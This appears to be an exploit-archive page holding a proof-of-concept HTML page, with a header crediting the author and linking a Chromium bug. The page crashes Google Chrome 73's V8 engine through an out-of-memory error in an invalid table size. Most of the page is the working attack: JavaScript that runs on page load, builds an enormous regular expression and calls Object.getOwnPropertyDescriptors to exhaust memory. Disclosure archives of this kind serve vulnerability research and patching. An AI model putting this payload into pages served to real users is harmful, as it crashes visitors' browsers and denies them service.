Google chrome 73.0.3683.103 v8 javascript engine outofmemory in invalid table size denial of service (poc) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-04-22 | Type : dos | Platform : multiple


[+] Code ...

<!--
# Exploit Title: Google Chrome 73.0.3683.103 V8 JavaScript Engine - Out-of-memory in invalid table size . Denial of Service (PoC)
# Google Dork: N/A
# Date: 2019-04-20
# Exploit Author: Bogdan Kurinnoy (b.kurinnoy@gmail.com)
# Vendor Homepage: https://www.google.com/
# Version: Google Chrome 73.0.3683.103
# Tested on: Windows x64
# CVE : N/A

# Description:

# Fatal javascript OOM in invalid table size

# https://bugs.chromium.org/p/chromium/issues/detail?id=918301
-->


<html>
<head>
<script>

var arr1 = [0,1];

function ObjCreate(make) {
this.make = make;
}

var obj1 = new ObjCreate();

function main() {

arr1.reduce(f3);

Object.getOwnPropertyDescriptors(Array(99).join(obj1.make));

}

function f3() {

obj1["make"] = RegExp(Array(60000).join("CCC"));
}

</script>
</head>
<body onload=main()></body>
</html>

Google chrome 73.0.3683.103 v8 javascript engine outofmemory in invalid table size denial of service (poc)


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Google chrome 73.0.3683.103 v8 javascript engine outofmemory in invalid table size denial of service (poc) Vulnerability / Exploit